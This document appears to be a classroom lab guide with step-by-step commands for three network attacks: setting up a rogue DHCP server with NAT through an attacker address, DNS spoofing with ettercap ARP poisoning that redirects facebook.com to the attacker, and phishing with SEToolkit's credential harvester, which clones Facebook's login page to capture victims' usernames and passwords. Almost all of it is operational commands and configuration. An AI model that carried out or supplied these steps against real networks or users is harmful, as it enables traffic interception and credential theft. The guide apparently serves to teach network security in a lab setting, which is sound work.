DHCP SPOOFING

This guide will help you to replicate a DHCP spoofing attack, the steps are the following

- 1. Create and configure a new virtual netcard
 - a. ifconfig << Name of interface>>:0 << ip address>>/<< netmask>>
 - b. \$sudo ifconfig eth0:0 10.1.1.1/24
- 2. Install and configure isc-dhcp-server
 - a. Install isc-dhcp-server
 - i. \$sudo apt install isc-dhcp-server
 - b. Configure server
 - i. \$sudo nano /etc/default/isc-dhcp-server
 - ii. Put newly created interface name at INTERFACESv4=""
 - Es: INTERFACESv4="eth:0"
 - c. Configure subnet
 - i. \$sudo nano /etc/dhcp/dhcpd.conf
 - ii. Modify option domain-name putting lab
 - 1. Es: option domain-name "lab";
 - iii. Modify option domain-name-servers putting some dns server
 - 1. Es: option domain-name-servers 1.1.1.1;
 - iv. Remove # in front of "autoritative"
 - v. Creation of subnet

```
subnet 10.1.1.0 netmask 255.255.255.0{
    range 10.1.1.2 10.1.1.254;
    option routers 10.1.1.1;
}
```

- 3. Configure Nat
 - a. Enabling IP Forwarding
 - i. \$sudo su
 - ii. \$echo 1 > /proc/sys/net/ipv4/ip_forward
 - iii. \$iptables -t filter -P FORWARD ACCEPT
 - b. Configuring Nat
 - i. \$sudo su
 - ii. \$iptables –t nat –A POSTROUTING –o eth0 –j MASQUERADE
 - iii. \$iptables -t nat -A POSTROUTING -o eth0:0 -j SNAT -to-source 10.0.0.2 (IP_ADDRESS OF ATTACKER)
 - c. Check if rules are fine
 - i. \$sudo su
 - ii. \$iptables -t nat -L
 - d. Clean iptables
 - i. \$sudo su
 - ii. \$iptables -t nat -F

DNS SPOOFING

For DNS Spoofing we will use ettercap, this guide will contain only the attack using text-interface ettercap, at the lesson we will also see the graphical interface of ettercap.

- 1. Configure ettercap dns file
 - a. Edit etter.dns file with fake dns entries for the site that we want to spoof
 - i. \$sudo su
 - ii. \$nano /etc/ettercap/etter.dns
 - iii. Insert custom dns reply in form

<<TYPE_OF_DNS_RECORD>>

```
facebook.com A 10.0.0.2
*.facebook.com A 10.0.0.2
www.facebook.com PTR 10.0.0.2
```

- 2. Performing attack
 - a. \$sudo su
 - b. \$ettercap -T -M arp /10.0.0.3//
 - c. Press p to see the list of plugin
 - i. Write dns spoof to activate plugin
 - d. Press space to enable/disable packets visualization
- 3. Check if works
 - a. On victim host ping www.facebook.com and see if the ip is the rougue one

PHISHING

In order to perform this attack we will use some tools:

- Social Engineering Tool Kit (SEToolkit): to clone the website
- Apache2: for webserver that will run our cloned website
- Ettercap: for DNS spoofing
- 1. Install setoolkit

- a. \$git clone https://github.com/trustedsec/social-engineer-toolkit/ set/
- b. \$cd set
- c. \$sudo python3 setup.py install
- 2. Install apache
 - a. \$sudo apt install apache2
- 3. Configure setoolkit
 - a. Modify set.config file to enable apache2 server
 - i. \$sudo su
 - ii. \$nano /etc/setoolkit/set.config
 - iii. Modify "APACHE_SERVER" to ON
 - iv. Modify "APACHE_DIRECTORY" to "/var/www/html"
- 4. Cloning facebook website
 - a. \$sudo setoolkit
 - b. Inside interactive shell navigate to start site cloning
 - i. 1 (Social-Engineering Attacks)
 - ii. 2 (Website Attack Vectors)
 - iii. 3 (Credential Harvester Attack Method)
 - iv. 2 (Site Cloner)
 - C. Insert ip address of our host
 - d. Insert url of site to clone
 - e. Setoolkit will clone the website and start apache2 server
- 5. Start DNS Spoof with ettercap (Follow previous guide)
- 6. On setoolkit shell wait until request are coming. We will see username and password of victim
- 7. On victim pc go on facebook an compile the fake login
 - a. Open browser in incognito mode (so that it will not redirect you to https)
 - b. Put <u>www.facebook.com</u>
 - c. Compile the form and watch on setoolkit shell if data comes